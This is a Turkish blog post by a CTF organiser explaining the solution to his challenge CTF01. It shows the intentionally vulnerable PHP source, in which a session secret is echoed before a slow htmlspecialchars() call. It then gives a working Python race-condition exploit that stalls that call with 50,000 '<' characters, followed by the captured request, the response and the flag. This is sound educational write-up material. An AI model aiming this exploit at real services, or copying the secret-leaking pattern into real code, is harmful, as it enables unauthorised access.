CTF01 Çözümü

Merhaba

CTF’ler, katılımcıları farklı düşünmeye zorlamalı ve yarışmacılar için öğreti olmalıdır. Bu nedenle şimdiye kadar özellikle XSS olmak üzere bir çok ufak yarışma düzenlemiş bulunmaktayım. Bu yarışmalardan en sonuncusu ise geçtiğimiz gün yayınladığım CTF01 numaralı yarışma. 

Toplamda 491 kişinin katıldığı, yada bir diğer söyleyiş ile 491 farklı IP adresinden trafiğin oluştuğu bu yarışma sadece 2 kişi tarafından çözüldü.

Tebrikler

Twitter üzerinden gönderilen bildirimlere göre Oğuz DOKUMACI ve Cihad ÖĞE bu ufak level’i geçmeyi başardılar. Kendilerine teşekkür ederim.

Çözüm

CTF01 level’i http://ctf01.mdisec.com adresinde online durumdaydı ve site ziyaret edildiğinde karşımıza aşağıdaki PHP kodları çıkmaktaydı.

<?php

function private_key_builder()
{
    // Super secure . Right ?!
    $ip = $_SERVER['REMOTE_ADDR'];
    $agent = $_SERVER['HTTP_USER_AGENT'];
    return sha1($ip.$agent).sha1(mt_rand().time());
}

session_start();

if(!isset($_SESSION['secret']))
    $_SESSION['secret'] = private_key_builder();

if(!isset($_POST['secret']))
{
    highlight_file(__FILE__);
    exit;
}

if($_POST['secret'] == $_SESSION['secret'])
{
    require('flag.php');
    exit(get_flag());
}

echo "Noooo :(! '{$_SESSION['secret']}' != '";
// Do not let people focus on XSS.
echo htmlspecialchars($_POST['secret']);
echo "'";

$_SESSION['secret'] = private_key_builder();

Kaynak koda bakarak aşağıdaki sözde kodun olduğu anlaşılmaktadır.

  1. Oturum başlat
  2. Eğer session listesinde secret isimli değişken yok ise private_key_builder() secret oluştur.
  3. Eğer talep POST talebi değilse veya secret adından HTTP POST değişkeni yoksa kaynak kodu göster ve son bul.
  4. Eğer session’da secret değişkeni varsa ve HTTP POST talebinde de secret isminde değişken geldiyse, bunları karşılaştır.
  5. Sonuç TRUE ise flag.php dosyasında ki get_flag() fonksiyonu çağırılacaktır.
  6. Eğer False ise ekrana mevcut secret’i yaz.
  7. Kullanıcıdan gelen secret tahminini htmlspecialchars() fonksiyonundan geçir.
  8. Yeni bir secret key oluştur.

Buradan anlaşılan şu ki, eğer HTTP POST talebinde göndereceğimiz secret key tahminimiz doğru değilse, ekrana bir takım mesajlar kullanıcıya gösterilip ardından yeni bir secret key üretilecektir.

Bu kısma kadar bir çok kişinin oyunu doğru yorumladığını düşünüyorum. Asıl önemli kısım ise buradan sonra başlamakta, private_key_builder() fonksiyonunun ürettiği key’i tahmin etmeli mi ? Edeceksek nasıl yapabiliriz ?

Key oluşturulurken kullanılan veri kaynaklarının yarısı saldırgan tarafından bilinen kaynaklardır. User-Agent ve REMOTE_ADDR olarak adlandırılan bu iki veri, doğrudan saldırgan tarafından bilinebilir.

Time() fonksiyonu sunucunun mevcut zamanının unix timestamp’ini döndürmektedir. Bu durumda sunucununu zaman bilgisine ihtiyacımız vardır. Bu veriye ise HTTP Response Header’da yer alan Date: bilgisinden elde edilebilmektedir. Geriye bir tek mt_rand() fonksiyonu kalıyor ki onuda tahmin etmek veya bilmek gerçekten zor.

Bu şartlar altında Brute-force’un teoride evet ama pratikte son derece zor olacağı düşünülmelidir. Bu nedenle başka bir yol daha olmalı ? Sorusu akıllara gelir.

Wut, Wait a minute ?!

Ya mt_rand() değerini doğru tahmin ederek, talebi sunucuya tam olara belirlediğimiz zaman saniyesinde ileteceğiz, yada yeni secret key oluşmadan eskisini elde etmenin bir yolunu bulacağız.

echo "Noooo :(! '{$_SESSION['secret']}' != '";
echo htmlspecialchars($_POST['secret']);
echo "'";
$_SESSION['secret'] = private_key_builder();

Son 4 satır koda baktığımızda dikkatimizi çeken şey htmlspecialchars() fonksiyonunun kullanılmış olmasıdır. Ayrıca bu fonksiyon parametre olarak bizim tahmin secret’imizi almaktadır ve en en önemli nokta ise, htmlspecialchars() çağırılmadan önce tahmin etmek için can attığımız mevcut secret değeri ekrana yazdırılmaktadır.

http://stackoverflow.com/questions/16384515/why-is-htmlspecialchars-so-slow

Sevgili  PHP geliştiricilerimizin burada tartıştığı üzere htmlspecialchars() son derece yavaş bir fonksiyondur.

Yani biz htmlspecialchars() fonksiyonunun yavaş olmasından yararlanarak, yeni secret oluşturulmadan hemen önce mevcut secret’i elde edip, hemen yeni bir HTTP talebi oluşturarak tahmini doğru bir şekilde gerçekleştirebiliriz!

Exploit

Yukarıda anlatılanları gerçekleştiren ufak bir python betiği aşağıdaki şekilde yazılabilir. Basit olarak 50000 adet < işareti tahmin olarak gönderilerek htmlspecialchars() fonksiyonunun 10-20 saniye boyunca asılı kalması sağlanarak exploitation gerçekleştirilebilir.

# -*-coding: utf-8 -*-
import urllib
import socket

def request(guess):
    HOST = '188.166.98.125'
    PORT = 80
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    request = '''POST / HTTP/1.1
Host: {}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0
Cookie: PHPSESSID=c3un9mufa0f1406c98sbhvhio4
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: {}

secret={}'''.format(HOST, len('secret='+guess), guess)
    print request
    s.sendall(request)

    data = s.recv(900000)
    s.close()
    return data

data = request('<'*50000)

l = data.find("'")
r = data.find("'", l+1)
s = data[l+1:r]
print s

result = request(s)
print result

Sonuç ise;

Real secret = 6e9f4bb0ddde3e25c4ce957d684b7bec128e897f206e2eff58f64472dc32fc2f278b0ec1e098dfa7

POST / HTTP/1.1
Host: 188.166.98.125
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0
Cookie: PHPSESSID=c3un9mufa0f1406c98sbhvhio4
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 87

secret=6e9f4bb0ddde3e25c4ce957d684b7bec128e897f206e2eff58f64472dc32fc2f278b0ec1e098dfa7

HTTP/1.1 200 OK
Date: Thu, 07 May 2015 12:01:27 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 81
Keep-Alive: timeout=3, max=100
Connection: Keep-Alive
Content-Type: text/html

Flag = 13373737Kudos! You won the race. Please mention your solutions to @mdisec